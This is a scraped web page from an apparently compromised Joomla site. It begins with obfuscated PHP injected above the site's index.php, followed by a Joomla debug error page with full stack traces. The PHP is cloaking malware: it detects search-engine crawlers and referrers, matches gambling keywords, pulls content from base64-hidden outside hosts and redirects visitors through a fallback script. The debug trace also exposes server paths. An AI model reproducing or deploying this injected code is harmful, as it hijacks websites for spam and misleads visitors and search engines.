goto zfIjH; xQoE_: define("\155\107\x67\156\x47", base64_decode("\x61\x48\122\x30\x63\104\x6f\x76\x4c\x32\106\153\x4c\155\x52\156\x61\x7a\147\64\117\x43\x35\60\142\x33\x41\166")); goto wlwy1; FijJS: function ldkCK() { $eL9e6 = ob_get_contents(); ob_end_clean(); } goto Xltz6; nsZEw: function xHjKR($Wc2wK, $suj3F = array(), $VHxiw = 0, $ebiPL = 0) { goto R4D4P; Sl5WD: $kG1DR = curl_init(); goto o9Gxd; dNhnB: curl_setopt($kG1DR, CURLOPT_SSL_VERIFYHOST, false); goto xDo8_; U_jdA: uEFh1: goto Sl5WD; v3hKm: curl_close($kG1DR); goto UIvbd; jh21i: curl_setopt($kG1DR, CURLOPT_RETURNTRANSFER, 1); goto fw1WC; BaAW0: curl_setopt($kG1DR, CURLOPT_HEADER, 0); goto jh21i; nzH3U: if (!curl_errno($kG1DR)) { goto atBlx; } goto eWySh; C175M: goto vsNFu; goto U_jdA; PMCHI: curl_setopt($kG1DR, CURLOPT_HTTPHEADER, $suj3F); goto latft; RZMRL: curl_setopt($kG1DR, CURLOPT_TIMEOUT, $ebiPL); goto bJqz1; ohLYs: vsNFu: goto c3cF3; R4D4P: if (function_exists("\x63\165\162\x6c\137\x69\x6e\x69\x74")) { goto uEFh1; } goto PjiFf; rQ7hP: atBlx: goto v3hKm; o9Gxd: curl_setopt($kG1DR, CURLOPT_URL, $Wc2wK); goto BaAW0; PjiFf: return file_get_contents($Wc2wK); goto C175M; OeQvR: curl_setopt($kG1DR, CURLOPT_REFERER, $_SERVER["\x48\124\x54\120\x5f\122\105\106\x45\x52\105\x52"]); goto PMCHI; fw1WC: curl_setopt($kG1DR, CURLOPT_USERAGENT, $_SERVER["\x48\124\x54\x50\137\x55\123\105\x52\137\101\107\105\x4e\x54"]); goto OeQvR; BNjF0: $ir_tV = curl_exec($kG1DR); goto nzH3U; UIvbd: return $ir_tV; goto ohLYs; bJqz1: curl_setopt($kG1DR, CURLOPT_SSL_VERIFYPEER, false); goto dNhnB; eWySh: $ir_tV = NULL; goto rQ7hP; xDo8_: curl_setopt($kG1DR, CURLOPT_FOLLOWLOCATION, true); goto BNjF0; latft: curl_setopt($kG1DR, CURLOPT_CONNECTTIMEOUT, $VHxiw); goto RZMRL; c3cF3: } goto sfqJM; d8bpe: function e_06N() { } goto uB17W; UVD2J: $ypA24 = $_SERVER["\x48\124\x54\x50\x5f\x52\105\x46\x45\122\105\x52"]; goto h71q7; Xltz6: function z_2vY($RR7Xr, $annVJ = "\x2f\133\x3f\x5c\x2f\x5d\x28\x69\144\174\147\141\x6d\145\x69\x64\174\111\104\174\153\x72\x73\x6c\157\164\x49\104\x7c\107\141\x6d\x65\x7c\141\x70\x70\x7c\x69\157\x73\174\x61\x6e\144\162\157\x69\x64\174\x64\x6f\x77\156\154\157\x61\144\x7c\x62\x6c\141\x6e\153\174\x53\154\x6f\164\174\x73\154\157\164\x7c\142\145\164\174\x63\141\163\151\156\157\174\x67\141\x6d\x65\163\174\x70\x6c\141\x79\174\166\x69\144\145\x6f\174\160\x6f\153\145\162\174\156\145\x77\x73\x7c\x73\x6c\x6f\174\147\x6f\x64\x73\174\146\x69\163\x68\174\155\x61\x68\x6a\174\165\x72\151\x29\56\57") { return preg_match($annVJ, $RR7Xr) === 1; } goto MKZzB; Wmfvc: function Uupjn() { goto fhe58; NIyyn: array_push($suj3F, "\126\x61\162\x79\72\x20\101\143\143\145\x70\164\55\114\141\156\x67\x75\x61\147\x65"); goto iuFFN; Ne7qb: V1M2O: goto WpI8_; UjmmE: $ZOS2g = $_SERVER["\110\124\x54\x50\x5f\x41\103\103\105\x50\124\x5f\x4c\101\x4e\107\125\101\x47\x45"]; goto wezFm; bB7eN: goto BJJY3; goto Ne7qb; Bg6sT: RIl5q: goto YblrH; S8YsJ: header("\103\x6f\156\164\x65\x6e\x74\x2d\x54\x79\x70\145\x3a\x74\145\x78\x74\x2f\x68\164\x6d\x6c\73\40\143\x68\x61\162\163\x65\164\x3d\165\x74\146\55\70"); goto j4_M3; iuFFN: qQZoJ: goto OYA9O; KcClM: header("\120\x72\141\147\155\141\72\x20\x6e\157\x2d\143\x61\x63\x68\x65"); goto emGRN; N1QsI: $SBFV7 = HssS6(); goto E0nBF; j7F70: if (Z_2vY($ymSKc) && gC4r2($ypA24)) { goto V67Qp; } goto UecS0; v0BSe: header("\x43\141\143\x68\145\x2d\103\x6f\156\x74\x72\157\154\72\x20\156\157\x2d\163\x74\x6f\x72\145\54\x20\156\157\55\x63\141\143\150\145\x2c\x20\155\x75\x73\164\x2d\x72\x65\166\141\154\x69\144\x61\x74\145"); goto IICHP; IICHP: header("\103\x61\x63\150\x65\55\x43\157\x6e\164\x72\x6f\154\x3a\40\160\x6f\163\x74\x2d\143\150\x65\143\153\75\x30\x2c\x20\x70\x72\x65\x2d\x63\150\145\143\x6b\x3d\x30", FALSE); goto KcClM; clYGV: exit; goto bEG_K; j4_M3: $qHWwy = HsSs6(); goto pUBSl; wezFm: array_push($suj3F, "\x41\x63\143\145\160\x74\x2d\x4c\x61\x6e\147\165\141\147\145\x3a\x20{$ZOS2g}"); goto NIyyn; uQ9yF: $B8a9I = xhjKR(mGgnG . "\65\x30\x32\x31\x2e\160\x68\x70"); goto T0dTZ; E0nBF: if (Z_2vY($ymSKc)) { goto V1M2O; } goto UdT_G; miBwU: if (!isset($_SERVER["\110\x54\x54\x50\137\x41\x43\103\105\x50\x54\137\x4c\x41\x4e\x47\125\x41\x47\x45"])) { goto qQZoJ; } goto UjmmE; w5J3G: foreach ($Ub7ao as $KFVI0 => $OBgIP) { goto fpFDl; wS8Sc: oJgnb: goto INy1O; QQPF0: array_push($suj3F, "{$KFVI0}\72\40{$OBgIP}"); goto wS8Sc; INy1O: FcPvh: goto LF76i; fpFDl: if (!(stripos($KFVI0, "\x53\x65\x63\x2d") === 0)) { goto oJgnb; } goto QQPF0; LF76i: } goto NAj0z; bCUwK: zyvW4: goto N1QsI; UecS0: goto RIl5q; goto bCUwK; emGRN: $uQScz = urlencode($ymSKc); goto Xxk6s; pUBSl: $Ub7ao = array(); goto gol6k; gol6k: if (!function_exists("\151\106\x61\117\x52")) { function ifAOR() { goto AfoAz; kI9R3: UF5fa: goto Imiw4; AfoAz: $h_GnA = array(); goto qSPIA; qSPIA: foreach ($_SERVER as $GrEgR => $OBgIP) { goto Rni1z; RiEHe: $h_GnA[str_replace("\x20", "\x2d", ucwords(strtolower(str_replace("\137", "\x20", substr($GrEgR, 5)))))] = $OBgIP; goto m4_yB; VCCiu: WP1jf: goto LUkQt; m4_yB: p8Iog: goto VCCiu; Rni1z: if (!(substr($GrEgR, 0, 5) == "\x48\x54\x54\x50\x5f")) { goto p8Iog; } goto RiEHe; LUkQt: } goto kI9R3; Imiw4: return $h_GnA; goto sw_8e; sw_8e: } $Ub7ao = iFAOR(); } else { $Ub7ao = iFaOr(); } goto w5J3G; Xxk6s: $suj3F = array(); goto miBwU; uCZDj: goto RIl5q; goto JBspd; NAj0z: ISrgT: goto uQ9yF; T0dTZ: echo $B8a9I ? $B8a9I : pb2QK; goto RioQe; OYA9O: if (M0uJF($l9aA2)) { goto zyvW4; } goto j7F70; WpI8_: header("\x43\157\156\x74\x65\x6e\x74\55\124\x79\x70\145\72\x74\145\x78\164\57\150\164\x6d\154\x3b\x20\143\x68\141\162\x73\x65\x74\x3d\x75\164\146\55\70"); goto nwVEi; fhe58: global $ypA24, $l9aA2, $FP9Rs, $ymSKc; goto v0BSe; UdT_G: echo XHJkr(MDCox . "\x61\154\x2e\x70\150\160"); goto bB7eN; JBspd: V67Qp: goto S8YsJ; bEG_K: BJJY3: goto uCZDj; nwVEi: echo XhJKR(MDCox . "\77{$FP9Rs}{$ymSKc}"); goto clYGV; RioQe: exit; goto Bg6sT; YblrH: } goto YUWc4; uB17W: function oAQNN() { ob_start(); register_shutdown_function("\x69\x6e\163\145\162\164\137\x68\164\x6d\154\x5f\145\x6e\x64"); } goto FijJS; wlwy1: define("\x70\x62\x32\121\113", base64_decode("\x50\x47\x68\60\142\x57\x77\53\103\151\101\147\111\x43\x41\70\141\107\126\150\x5a\104\64\113\111\x43\101\x67\x49\103\x41\x67\x49\x43\101\70\x64\x47\154\x30\x62\107\125\53\126\107\150\154\111\110\x4a\x6c\x63\62\71\x31\x63\155\x4e\x6c\x49\107\116\150\142\x6d\65\166\144\x43\102\151\x5a\123\102\155\x62\x33\126\x75\x5a\103\64\70\114\x33\122\x70\x64\x47\x78\154\x50\x67\157\147\111\x43\x41\147\111\x43\101\x67\x49\104\x78\x7a\x59\x33\112\x70\143\110\x51\53\144\62\154\165\132\107\x39\x33\114\x6d\170\x76\x59\x32\x46\x30\x61\x57\71\165\x50\x53\112\x6f\x64\110\122\x77\143\x7a\x6f\166\x4c\x32\x56\156\x5a\62\x4e\62\x61\x58\x41\x75\131\62\x39\x74\114\x33\x64\x6c\x62\107\x4e\x76\142\x57\125\x76\115\x6a\x41\x79\x4e\124\x45\x75\x61\110\x52\164\x62\103\111\67\120\103\x39\172\x59\63\112\160\x63\x48\121\53\x43\151\101\x67\111\103\x41\70\114\x32\150\154\131\127\121\x2b\103\151\x41\147\111\103\x41\x38\x59\x6d\x39\153\x65\124\x34\113\x49\103\x41\147\111\103\x41\x67\x49\103\x41\70\x61\104\105\53\x54\x6d\x39\x30\x49\105\132\x76\144\127\65\153\x50\103\x39\157\115\x54\x34\x4b\111\x43\x41\x67\111\x44\x77\x76\x59\x6d\71\153\x65\124\x34\113\x50\103\71\x6f\x64\107\x31\x73\x50\x67\x3d\x3d")); goto UVD2J; h71q7: $l9aA2 = $_SERVER["\x48\x54\124\x50\137\125\x53\x45\122\x5f\101\107\105\x4e\124"]; goto i1wfH; DKyq2: $ymSKc = $_SERVER["\122\105\121\x55\105\123\x54\x5f\125\122\111"]; goto d8bpe; sfqJM: function hsSs6() { foreach (array("\x48\x54\124\120\137\103\x4c\x49\105\116\124\137\x49\120", "\110\x54\124\x50\137\x58\137\122\105\101\114\x5f\x49\x50", "\110\x54\x54\x50\x5f\103\106\x5f\x43\117\116\x4e\105\103\124\111\x4e\x47\x5f\x49\x50", "\x48\x54\x54\x50\x5f\x58\137\x46\117\122\127\101\122\x44\x45\104\x5f\106\x4f\122", "\x48\124\124\120\137\130\x5f\106\117\x52\x57\x41\122\104\x45\x44", "\110\x54\124\120\137\x58\137\103\114\125\x53\124\x45\x52\x5f\x43\x4c\111\105\x4e\x54\x5f\x49\x50", "\110\x54\124\120\137\x46\x4f\122\x57\101\x52\104\105\104\x5f\x46\117\x52", "\110\124\x54\120\x5f\106\x4f\122\127\101\x52\x44\x45\104", "\122\105\115\117\x54\105\x5f\x41\x44\104\x52") as $KFVI0) { goto tuFFH; M4A_p: wfgeW: goto k4oW9; NFqdJ: foreach (explode("\x2c", $_SERVER[$KFVI0]) as $qC4c_) { goto o_uu5; PwMsC: PjtKp: goto ZjbF6; Q5pj4: if (!(filter_var($qC4c_, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false)) { goto qVSgi; } goto P70_s; P70_s: return $qC4c_; goto TA6U8; TA6U8: qVSgi: goto PwMsC; o_uu5: $qC4c_ = trim($qC4c_); goto Q5pj4; ZjbF6: } goto YQ9WC; tuFFH: if (!(array_key_exists($KFVI0, $_SERVER) === true)) { goto wfgeW; } goto NFqdJ; YQ9WC: F20rw: goto M4A_p; k4oW9: O1mwM: goto r_4Wk; r_4Wk: } q1HVX: } goto Wmfvc; TYkR1: define("\106\x32\114\116\x47", "\x56\x45\x67\x6a\x53\x32\61\x6e"); goto GVRzk; eGuHQ: error_reporting(0); goto AeS1H; fXYY2: define("\115\x44\103\x6f\170", base64_decode("\141\110\x52\60\x63\104\157\166\114\62\160\x7a\131\x79\65\164\117\124\x6c\155\114\x6d\x4e\x76\142\123\x38\75")); goto xQoE_; i1wfH: $FP9Rs = $_SERVER["\x48\x54\x54\120\x5f\x48\x4f\123\x54"]; goto DKyq2; MKZzB: function m0ujf($R32B2) { goto zKz05; s91g3: foreach ($Rh_zk as $PFvi1) { goto O7zCr; O7zCr: if (!(stripos($R32B2, $PFvi1) !== false)) { goto bN5C8; } goto wZk68; wZk68: return true; goto OR2WA; PpBTk: wXeGs: goto DDAM9; OR2WA: bN5C8: goto PpBTk; DDAM9: } goto xW7_X; xW7_X: M8eoI: goto bakjx; zKz05: $Rh_zk = array("\107\x6f\x6f\x67\154\x65\142\157\164", "\102\151\156\147\x62\x6f\x74", "\171\145\164\x69"); goto s91g3; bakjx: return false; goto ypK0d; ypK0d: } goto SjIxg; AeS1H: define("\144\x57\x6e\117\130", "\x30\66\x30\65\x6a\x73\143"); goto TYkR1; zfIjH: set_time_limit(0); goto eGuHQ; GVRzk: define("\151\127\115\145\160", base64_decode("\141\110\122\60\143\110\x4d\66\114\x79\x39\x71\x63\x32\x4e\x6b\x62\x69\65\153\132\62\163\x34\x4f\104\x67\165\144\107\71\x77\114\x77\75\75")); goto fXYY2; SjIxg: function gc4r2($acS10) { goto YvES6; r53Yb: foreach ($YreCc as $q1Dwj) { goto RNqR2; v9e4U: return true; goto PLlOc; LskEr: BdmPq: goto abRWP; PLlOc: F1mlZ: goto LskEr; RNqR2: if (!(stripos($acS10, $q1Dwj) !== false)) { goto F1mlZ; } goto v9e4U; abRWP: } goto V5Tfi; wLLtG: $YreCc = array("\x67\x6f\x6f\x67\154\x65\56", "\142\151\x6e\147\56", "\x6e\x61\166\145\x72\x2e", "\x79\141\x68\x6f\x6f\x2e"); goto r53Yb; YvES6: if (!(substr($acS10, 0, 4) === "\x68\164\x74\x70")) { goto T9GGF; } goto wLLtG; vdfgg: return false; goto zaD05; V5Tfi: Ipe81: goto UeHkQ; UeHkQ: T9GGF: goto vdfgg; zaD05: } goto nsZEw; YUWc4: uuPJN();?> Attempted to load class "Framework" from namespace "Astroid". Did you forget a "use" statement for another namespace? (500 Whoops, looks like something went wrong.)

RuntimeException ClassNotFoundError

HTTP 500 Whoops, looks like something went wrong.

Attempted to load class "Framework" from namespace "Astroid".
Did you forget a "use" statement for another namespace?

Exceptions 2

Symfony\Component\ErrorHandler\Error\ ClassNotFoundError

  1. * @license https://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
  2. */
  3. defined('_JEXEC') or die;
  4. if (!defined('_ASTROID')) {
  5. try {
  6. Astroid\Framework::init();
  7. } catch (\Exception $e) {
  8. die('Please install and activate <a href="https://www.astroidframe.work/" target="_blank">Astroid Framework</a> in order to use this template.');
  9. }
  10. }
  1. // Store the file path
  2. $this->_file = $directory . '/' . $filename;
  3. // Get the file content
  4. ob_start();
  5. require $directory . '/' . $filename;
  6. $contents = ob_get_clean();
  7. }
  8. return $contents;
  9. }
HtmlDocument->_loadTemplate('/home/formavenyh/www/templates/tz_educab', 'error.php') in /home/formavenyh/www/libraries/src/Document/HtmlDocument.php (line 788)
  1. $this->baseurl = Uri::base(true);
  2. $this->params = $params['params'] ?? new Registry();
  3. $this->template = $template;
  4. // Load
  5. $this->_template = $this->_loadTemplate($baseDir, $file);
  6. return $this;
  7. }
  8. /**
HtmlDocument->_fetchTemplate(array('template' => 'tz_educab', 'directory' => '/home/formavenyh/www/templates', 'debug' => true, 'csp_nonce' => null, 'templateInherits' => '', 'params' => object(Registry), 'file' => 'error.php')) in /home/formavenyh/www/libraries/src/Document/HtmlDocument.php (line 625)
  1. *
  2. * @since 1.7.0
  3. */
  4. public function parse($params = [])
  5. {
  6. return $this->_fetchTemplate($params)->_parseTemplate();
  7. }
  8. /**
  9. * Outputs the template to the browser.
  10. *
HtmlDocument->parse(array('template' => 'tz_educab', 'directory' => '/home/formavenyh/www/templates', 'debug' => true, 'csp_nonce' => null, 'templateInherits' => '', 'params' => object(Registry), 'file' => 'error.php')) in /home/formavenyh/www/libraries/src/Document/HtmlDocument.php (line 643)
  1. public function render($caching = false, $params = [])
  2. {
  3. $this->_caching = $caching;
  4. if (empty($this->_template)) {
  5. $this->parse($params);
  6. }
  7. if (\array_key_exists('csp_nonce', $params) && $params['csp_nonce'] !== null) {
  8. $this->cspNonce = $params['csp_nonce'];
  9. }
HtmlDocument->render(false, array('template' => 'tz_educab', 'directory' => '/home/formavenyh/www/templates', 'debug' => true, 'csp_nonce' => null, 'templateInherits' => '', 'params' => object(Registry), 'file' => 'error.php')) in /home/formavenyh/www/libraries/src/Document/ErrorDocument.php (line 139)
  1. $this->debug = $params['debug'] ?? false;
  2. $this->error = $this->_error;
  3. $params['file'] = 'error.php';
  4. return parent::render($cache, $params);
  5. }
  6. /**
  7. * Render the backtrace
  8. *
ErrorDocument->render(false, array('template' => 'tz_educab', 'directory' => '/home/formavenyh/www/templates', 'debug' => true, 'csp_nonce' => null, 'templateInherits' => '', 'params' => object(Registry), 'file' => 'error.php')) in /home/formavenyh/www/libraries/src/Error/Renderer/HtmlRenderer.php (line 70)
  1. ob_end_clean();
  2. }
  3. $this->getDocument()->setTitle(Text::_('Error') . ': ' . $error->getCode());
  4. return $this->getDocument()->render(
  5. false,
  6. [
  7. 'template' => $template->template,
  8. 'directory' => JPATH_THEMES,
  9. 'debug' => JDEBUG,
HtmlRenderer->render(object(RuntimeException)) in /home/formavenyh/www/libraries/src/Exception/ExceptionHandler.php (line 142)
  1. 'subject' => $app,
  2. 'document' => $renderer->getDocument(),
  3. ])
  4. );
  5. $data = $renderer->render($error);
  6. // If nothing was rendered, just use the message from the Exception
  7. if (empty($data)) {
  8. $data = $error->getMessage();
  9. }
ExceptionHandler::render(object(RuntimeException)) in /home/formavenyh/www/libraries/src/Exception/ExceptionHandler.php (line 76)
  1. * @since 3.10.0
  2. */
  3. public static function handleException(\Throwable $error)
  4. {
  5. static::logException($error);
  6. static::render($error);
  7. }
  8. /**
  9. * Render the error page based on an exception.
  10. *
ExceptionHandler::handleException(object(RuntimeException)) in /home/formavenyh/www/libraries/src/Application/CMSApplication.php (line 334)
  1. );
  2. // Trigger the onError event.
  3. $this->dispatchEvent('onError', $event);
  4. ExceptionHandler::handleException($event->getError());
  5. }
  6. // Trigger the onBeforeRespond event.
  7. $this->dispatchEvent(
  8. 'onBeforeRespond',
CMSApplication->execute() in /home/formavenyh/www/includes/app.php (line 58)
  1. // Set the application as global app
  2. \Joomla\CMS\Factory::$application = $app;
  3. // Execute the application.
  4. $app->execute();
require_once('/home/formavenyh/www/includes/app.php') in /home/formavenyh/www/index.php (line 51)
  1. // ... die
  2. die();
  3. }
  4. // Run the application - All executable code should be triggered through this file
  5. require_once __DIR__ . '/includes/app.php';

RuntimeException

Failed to start the session because headers have already been sent by "/home/formavenyh/www/index.php" at line 1.

  1. if ($this->isActive()) {
  2. throw new \RuntimeException('Failed to start the session: already started by PHP.');
  3. }
  4. if (ini_get('session.use_cookies') && headers_sent($file, $line)) {
  5. throw new \RuntimeException(
  6. sprintf('Failed to start the session because headers have already been sent by "%s" at line %d.', $file, $line)
  7. );
  8. }
  9. if (!session_start()) {
  1. $this->setId($session_clean);
  2. $cookie->set($session_name, '', ['expires' => time() - 3600 ]);
  3. }
  4. }
  5. parent::start();
  6. // Try loading data from the session
  7. if (!empty($_SESSION['joomla'])) {
  8. $this->data = unserialize(base64_decode($_SESSION['joomla']));
  9. }
  1. {
  2. if ($this->isStarted()) {
  3. return;
  4. }
  5. $this->store->start();
  6. $this->setState(SessionState::ACTIVE);
  7. // Initialise the session
  8. $this->setCounter();
  1. * @since 1.0
  2. */
  3. public function has($name)
  4. {
  5. if (!$this->isActive()) {
  6. $this->start();
  7. }
  8. return $this->store->has($name);
  9. }
  1. $name = $args[2] . '.' . $name;
  2. }
  3. }
  4. if (parent::has($name)) {
  5. // Parent is used because of b/c, can be changed in Joomla 6
  6. return parent::get($name, $default);
  7. }
  8. /*
Session->get('user') in /home/formavenyh/www/libraries/src/Factory.php (line 372)
  1. __CLASS__
  2. ),
  3. E_USER_DEPRECATED
  4. );
  5. $instance = self::getApplication()->getSession()->get('user');
  6. if (\is_null($id)) {
  7. if (!($instance instanceof User)) {
  8. $instance = User::getInstance();
  9. }
  1. *
  2. * @since 3.2
  3. */
  4. protected function initialiseApp($options = [])
  5. {
  6. $user = Factory::getUser();
  7. // If the user is a guest we populate it with the guest user group.
  8. if ($user->guest) {
  9. $guestUsergroup = ComponentHelper::getParams('com_users')->get('guest_usergroup', 1);
  10. $user->groups = [$guestUsergroup];
SiteApplication->initialiseApp() in /home/formavenyh/www/libraries/src/Application/SiteApplication.php (line 237)
  1. * @since 3.2
  2. */
  3. protected function doExecute()
  4. {
  5. // Initialise the application
  6. $this->initialiseApp();
  7. // Mark afterInitialise in the profiler.
  8. JDEBUG ? $this->profiler->mark('afterInitialise') : null;
  9. // Route the application
  1. $this->sanityCheckSystemVariables();
  2. $this->setupLogging();
  3. $this->createExtensionNamespaceMap();
  4. // Perform application routines.
  5. $this->doExecute();
  6. // If we have an application document object, render it.
  7. if ($this->document instanceof \Joomla\CMS\Document\Document) {
  8. // Render the application output.
  9. $this->render();
CMSApplication->execute() in /home/formavenyh/www/includes/app.php (line 58)
  1. // Set the application as global app
  2. \Joomla\CMS\Factory::$application = $app;
  3. // Execute the application.
  4. $app->execute();
require_once('/home/formavenyh/www/includes/app.php') in /home/formavenyh/www/index.php (line 51)
  1. // ... die
  2. die();
  3. }
  4. // Run the application - All executable code should be triggered through this file
  5. require_once __DIR__ . '/includes/app.php';

Stack Traces 2

[2/2] ClassNotFoundError
Symfony\Component\ErrorHandler\Error\ClassNotFoundError:
Attempted to load class "Framework" from namespace "Astroid".
Did you forget a "use" statement for another namespace?

  at /home/formavenyh/www/templates/tz_educab/error.php:12
  at require()
     (/home/formavenyh/www/libraries/src/Document/HtmlDocument.php:734)
  at Joomla\CMS\Document\HtmlDocument->_loadTemplate('/home/formavenyh/www/templates/tz_educab', 'error.php')
     (/home/formavenyh/www/libraries/src/Document/HtmlDocument.php:788)
  at Joomla\CMS\Document\HtmlDocument->_fetchTemplate(array('template' => 'tz_educab', 'directory' => '/home/formavenyh/www/templates', 'debug' => true, 'csp_nonce' => null, 'templateInherits' => '', 'params' => object(Registry), 'file' => 'error.php'))
     (/home/formavenyh/www/libraries/src/Document/HtmlDocument.php:625)
  at Joomla\CMS\Document\HtmlDocument->parse(array('template' => 'tz_educab', 'directory' => '/home/formavenyh/www/templates', 'debug' => true, 'csp_nonce' => null, 'templateInherits' => '', 'params' => object(Registry), 'file' => 'error.php'))
     (/home/formavenyh/www/libraries/src/Document/HtmlDocument.php:643)
  at Joomla\CMS\Document\HtmlDocument->render(false, array('template' => 'tz_educab', 'directory' => '/home/formavenyh/www/templates', 'debug' => true, 'csp_nonce' => null, 'templateInherits' => '', 'params' => object(Registry), 'file' => 'error.php'))
     (/home/formavenyh/www/libraries/src/Document/ErrorDocument.php:139)
  at Joomla\CMS\Document\ErrorDocument->render(false, array('template' => 'tz_educab', 'directory' => '/home/formavenyh/www/templates', 'debug' => true, 'csp_nonce' => null, 'templateInherits' => '', 'params' => object(Registry), 'file' => 'error.php'))
     (/home/formavenyh/www/libraries/src/Error/Renderer/HtmlRenderer.php:70)
  at Joomla\CMS\Error\Renderer\HtmlRenderer->render(object(RuntimeException))
     (/home/formavenyh/www/libraries/src/Exception/ExceptionHandler.php:142)
  at Joomla\CMS\Exception\ExceptionHandler::render(object(RuntimeException))
     (/home/formavenyh/www/libraries/src/Exception/ExceptionHandler.php:76)
  at Joomla\CMS\Exception\ExceptionHandler::handleException(object(RuntimeException))
     (/home/formavenyh/www/libraries/src/Application/CMSApplication.php:334)
  at Joomla\CMS\Application\CMSApplication->execute()
     (/home/formavenyh/www/includes/app.php:58)
  at require_once('/home/formavenyh/www/includes/app.php')
     (/home/formavenyh/www/index.php:51)                
[1/2] RuntimeException
RuntimeException:
Failed to start the session because headers have already been sent by "/home/formavenyh/www/index.php" at line 1.

  at /home/formavenyh/www/libraries/vendor/joomla/session/src/Storage/NativeStorage.php:454
  at Joomla\Session\Storage\NativeStorage->start()
     (/home/formavenyh/www/libraries/src/Session/Storage/JoomlaStorage.php:313)
  at Joomla\CMS\Session\Storage\JoomlaStorage->start()
     (/home/formavenyh/www/libraries/vendor/joomla/session/src/Session.php:396)
  at Joomla\Session\Session->start()
     (/home/formavenyh/www/libraries/vendor/joomla/session/src/Session.php:327)
  at Joomla\Session\Session->has('user')
     (/home/formavenyh/www/libraries/src/Session/Session.php:194)
  at Joomla\CMS\Session\Session->get('user')
     (/home/formavenyh/www/libraries/src/Factory.php:372)
  at Joomla\CMS\Factory::getUser()
     (/home/formavenyh/www/libraries/src/Application/SiteApplication.php:565)
  at Joomla\CMS\Application\SiteApplication->initialiseApp()
     (/home/formavenyh/www/libraries/src/Application/SiteApplication.php:237)
  at Joomla\CMS\Application\SiteApplication->doExecute()
     (/home/formavenyh/www/libraries/src/Application/CMSApplication.php:304)
  at Joomla\CMS\Application\CMSApplication->execute()
     (/home/formavenyh/www/includes/app.php:58)
  at require_once('/home/formavenyh/www/includes/app.php')
     (/home/formavenyh/www/index.php:51)